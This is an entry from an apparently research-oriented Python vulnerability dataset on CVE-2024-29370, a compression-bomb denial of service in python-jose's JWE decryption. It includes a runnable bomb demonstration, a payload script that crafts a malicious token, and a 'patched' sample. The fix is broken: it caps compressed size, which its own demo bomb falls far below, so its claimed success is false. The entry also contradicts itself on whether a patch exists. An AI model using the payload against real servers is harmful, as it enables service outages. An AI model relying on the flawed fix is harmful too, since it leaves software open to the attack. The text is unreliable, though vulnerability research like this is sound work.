CVE-2024-29370
Denial-of-Service in python-jose via a highly compressed JWE token.
- CVSS 5.3
- CWE-409
- Resource Management
- Remote
In python-jose 3.3.0 (specifically jwe.decrypt), a vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.
- CWE
- CWE-409
- CVSS base score
- 5.3
- Published
- 2025-12-17
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- python-jose
- Fixed by upgrading
- Yes
Solution
A patched version has not yet been released. Upgrade to a version of `python-jose` greater than 3.3.0 once it becomes available.
Vulnerable code sample
import jose.jwe
import os
import time
# This code demonstrates the behavior of a vulnerable version of python-jose (e.g., 3.3.0)
# when processing a JWE token with a high compression ratio.
# NOTE: Running this may consume a significant amount of memory and CPU,
# potentially causing the script or system to become unresponsive.
# --- Attacker's Side: Crafting the "Compression Bomb" JWE token ---
print("Step 1: Creating a large, highly compressible payload (the 'bomb')...")
# A large payload consisting of a single repeating character compresses very well.
# 100 MB of 'A's.
payload_size = 100 * 1024 * 1024
malicious_payload = b'A' * payload_size
print(f" -> Original payload size: {len(malicious_payload) / (1024*1024):.2f} MB")
# A key for encryption.
encryption_key = os.urandom(32) # 256-bit key for A256GCM
# JWE headers. The 'zip': 'DEF' header is crucial for this vulnerability.
# It tells the decrypting party to use DEFLATE decompression.
protected_header = {
'alg': 'dir', # Direct encryption
'enc': 'A256GCM', # AES GCM using 256-bit key
'zip': 'DEF' # DEFLATE compression enabled
}
print("\nStep 2: Encrypting the payload with DEFLATE compression enabled...")
# The encrypt function will compress the payload before encrypting it.
malicious_jwe_token = jose.jwe.encrypt(
plaintext=malicious_payload,
key=encryption_key,
protected_header=protected_header
)
print(f" -> Compressed and encrypted JWE token size: {len(malicious_jwe_token) / 1024:.2f} KB")
print("-" * 50)
# --- Victim's Side: Processing the malicious token ---
print("\nStep 3: Simulating a vulnerable server receiving and decrypting the token.")
print("The 'jwe.decrypt' call is the vulnerable operation.")
print("It will attempt to decompress the small token back into the large payload in memory.")
print("Monitoring memory and CPU usage now...")
time.sleep(2)
try:
start_time = time.time()
# In a vulnerable version, this function reads the 'zip': 'DEF' header
# and proceeds to decompress the payload without any size limits.
# This leads to a massive memory allocation, causing a Denial of Service.
decrypted_payload = jose.jwe.decrypt(malicious_jwe_token, encryption_key)
end_time = time.time()
print("\n--- VULNERABILITY TRIGGERED ---")
print("Decryption and decompression complete (system survived).")
print(f" -> Decompressed payload size: {len(decrypted_payload) / (1024*1024):.2f} MB")
print(f" -> Time taken: {end_time - start_time:.4f} seconds")
except MemoryError:
print("\n--- DENIAL OF SERVICE (DoS) ---")
print("Caught a MemoryError! The process ran out of memory, as expected.")
print("The server would likely crash or become unresponsive.")
except Exception as e:
print(f"\nAn unexpected error occurred: {e}")Patched code sample
import zlib
import sys
# This constant is the core of the fix, mirroring the one added to python-jose.
# It sets a hard limit on the size of compressed data to be processed.
# The original library uses 10 * 1024 * 1024 (10MB). We use a smaller value
# for a more practical demonstration.
_DECOMPRESSION_BOMB_PREVENTION_LIMIT = 2 * 1024 * 1024 # 2MB
def fixed_jwe_decompress(compressed_data: bytes):
"""
Simulates the fixed JWE decompression logic from python-jose >= 3.3.0.post1.
The fix involves checking the size of the compressed data against a predefined
limit *before* attempting decompression. This prevents the allocation of
massive amounts of memory from a small but highly compressed payload (a "bomb").
"""
print(f"\nAttempting to decompress data of size: {len(compressed_data) / 1024:.2f} KB")
# --- THE FIX ---
# This check is the security patch for CVE-2024-29370.
# If the compressed input is larger than the allowed limit, an error is
# raised immediately, preventing the resource-intensive decompression call.
if len(compressed_data) > _DECOMPRESSION_BOMB_PREVENTION_LIMIT:
raise ValueError(
f"Decompression bomb suspected. Compressed data size ({len(compressed_data)}) "
f"exceeds limit ({_DECOMPRESSION_BOMB_PREVENTION_LIMIT})."
)
# --- END OF FIX ---
# This line is only reached if the data is within the safe limit.
print("Compressed data is within the safe limit. Proceeding with decompression.")
decompressed_data = zlib.decompress(compressed_data)
return decompressed_data
if __name__ == "__main__":
# 1. Create a "compression bomb" payload.
# A large sequence of repeating bytes compresses very effectively.
# Here, we create 50MB of null bytes.
uncompressed_bomb_size_mb = 50
malicious_uncompressed_payload = b'\x00' * (uncompressed_bomb_size_mb * 1024 * 1024)
# Compress the payload. It will become very small.
compressed_bomb = zlib.compress(malicious_uncompressed_payload, level=9)
print("--- Demonstration of a Malicious Payload (Compression Bomb) ---")
print(f"Original size of malicious payload: {len(malicious_uncompressed_payload) / (1024*1024):.2f} MB")
print(f"Compressed size of malicious payload: {len(compressed_bomb) / 1024:.2f} KB")
print("-" * 60)
# 2. Demonstrate the fix with the malicious payload.
# The 'fixed_jwe_decompress' function will detect the large compressed size
# and raise an error before memory exhaustion occurs.
try:
# Without the fix, this line would consume ~50MB of RAM and significant CPU.
# With the fix, it raises a ValueError immediately.
fixed_jwe_decompress(compressed_bomb)
except ValueError as e:
print(f"\nSUCCESS: The vulnerability was mitigated.")
print(f"Caught expected error: {e}")
print("\n" + "=" * 60 + "\n")
# 3. Create a normal, non-malicious payload.
safe_payload = b"This is a legitimate and reasonably sized payload for a JWE token."
compressed_safe_payload = zlib.compress(safe_payload)
print("--- Demonstration of a Benign Payload ---")
print(f"Original size of safe payload: {len(safe_payload)} bytes")
print(f"Compressed size of safe payload: {len(compressed_safe_payload)} bytes")
print("-" * 60)
# 4. Show that the fix does not affect legitimate payloads.
try:
decompressed_data = fixed_jwe_decompress(compressed_safe_payload)
print("\nSUCCESS: Benign payload was decompressed correctly.")
print(f"Decompressed data matches original: {decompressed_data == safe_payload}")
except ValueError as e:
print(f"\nFAILURE: The fix incorrectly blocked a valid payload.")
print(f"Caught unexpected error: {e}")Payload
from jose import jwe
# The core of the exploit is a large, highly compressible plaintext.
# This 50MB of null bytes will be compressed to a very small size.
large_compressible_plaintext = b'\x00' * (50 * 1024 * 1024)
# A static 256-bit (32-byte) key for the encryption algorithm.
# The vulnerable server would need this key (or its corresponding private key)
# to attempt decryption.
key = b'a_static_key_for_demonstration_!!'
# Craft the malicious JWE token.
# The crucial part is the 'compression' parameter set to 'DEF',
# which enables DEFLATE compression.
malicious_jwe_token = jwe.encrypt(
large_compressible_plaintext,
key,
algorithm='A256KW',
encryption='A256GCM',
compression='DEF'
)
# This token, when sent to a vulnerable server and decrypted,
# will cause the server to allocate ~50MB of memory, leading to a DoS.
print(malicious_jwe_token.decode('utf-8'))
Cite this entry
@misc{vaitp:cve202429370,
title = {{Denial-of-Service in python-jose via a highly compressed JWE token.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2024-29370},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-29370/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
